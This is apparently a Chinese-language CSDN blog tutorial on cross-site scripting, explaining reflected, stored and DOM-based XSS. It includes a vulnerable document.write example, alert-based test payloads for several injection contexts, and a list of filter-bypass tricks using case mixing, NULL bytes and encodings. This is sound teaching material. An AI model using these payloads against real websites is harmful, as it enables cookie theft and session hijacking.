还在害怕XSS？网络安全老司机带你轻松搞定它从零基础到精通，收藏这篇就够了！-优快云博客

本文链接：https://blog.youkuaiyun.com/logic1001/article/details/149290801

简单来说，XSS 就是应用程序在给浏览器“发货”时，夹带了用户提交的“不良信息”，而且还没经过严格的质检。结果浏览器一看，这玩意儿能执行啊，得嘞，直接开干！

别怕，这个“跨”其实是浏览器的一个小脾气，不是啥大毛病。

记住： 浏览器有个规矩，叫“同源策略”，意思是只有发 Cookie 的网站才能读取 Cookie。

XSS 搞事情，轻则窃取你的 Cookie，重则劫持你的 Web 行为，甚至联合 CSRF 来一波精准打击！

反射型 XSS：

这种 XSS 就像**“一次性用品”，在搜索栏、登录页面等地方出没。攻击者会想方设法诱骗你点击一个链接**，一旦你点了，Cookie 就可能被盗走，然后你就等着被钓鱼吧！

存储型 XSS：

这种 XSS 就像**“牛皮癣”**，一旦被种下，就会长期存在。它经常出现在留言、评论、博客日志等互动区域，直接威胁 Web 服务器的安全。

DOM 型 XSS：

这种 XSS 就像**“隐形刺客”**，基于浏览器的“文档对象模型”搞事情。

注意： DOM 型和反射型类似，都需要你点击攻击者精心炮制的 URL。

关键点： DOM 型 XSS 是通过 URL 传入参数来控制触发的。

重点： DOM 型 XSS 返回的页面源码里看不到你输入的 Payload，它藏在浏览器的 DOM 里！

举个栗子： 假设你的页面里有这么一段脚本：

<script>
  var message = location.hash.slice(1); // 从 URL 的 hash 中获取参数
  document.write(message); // 将参数写入页面
</script>

如果攻击者把 JavaScript 代码作为 message 的参数，这段代码就会被动态写入到页面中，然后像服务器返回的代码一样被执行！

所以，DOM 型 XSS 和反射型 XSS 一样，都需要你主动去点攻击者构造的 URL！

如何揪出 XSS 这个小坏蛋？

基本验证：

"><script>alert(document.cookie)</script>

把这段代码提交给每个页面的每个参数，然后盯着响应。如果攻击字符串原封不动地出现在响应里，那恭喜你，可能找到 XSS 了！

绕过姿势：

有些 App 可能会用黑名单过滤，想阻止 XSS 攻击？Too young, too simple！

"><ScRiPt>alert(document.cookie)</ScRiPt>

DOM 型 XSS 的特殊之处：

记住，DOM 型 XSS 的 Payload 不在服务器的响应里，它藏在浏览器的 DOM 里，而且能被客户端 JavaScript 访问。所以，上面的基本验证方法可能失效。

反射型 XSS 案例：

案例 1：标签属性值

假设页面里有这么一段代码：

<input type="text" name="name" value="test-text">

搞事情的姿势： 结束双引号，再来一段脚本！

"><script>alert(1)</script>

案例 2：JavaScript 字符串

假设页面里有这么一段代码：

<script>var a='test-text'; var b=123;...</script>

搞事情的姿势： 用分号结束语句，插入恶意代码！

'; alert(1); var foo='

案例 3：URL 特性

假设页面里有这么一段代码：

<a href="test-text">Click here</a>

搞事情的姿势： 利用 javascript: 协议！

javascript:alert(1);

各种“奇技淫巧”：

绕过过滤的 N 种姿势：

HTML 标签名称：
- 大小写混用：<iMg onerror=alert(1) src=a>
- 插入 NULL 字节：<[%00]img onerror=alert(1) src=a>
- 标签名称后加空格：<img[%09]onerror=alert(1) src=a>
属性名称：
- 绕过 on 开头的过滤器：<img o[%00]nerror=alert(1) src=a>
- 用其他字符分隔属性：<img onerror='alert(1)' src=a>
属性值：
- NULL 字节或 HTML 编码：<img onerror=a[%00]lert(1) src=a>
- HTML 编码、十六进制编码、Base64 编码、ASCII 编码
字符集： UTF-7、US-ASCII、UTF-16
拆分跨站： <script>z='<script src=';/* 最终执行 <script>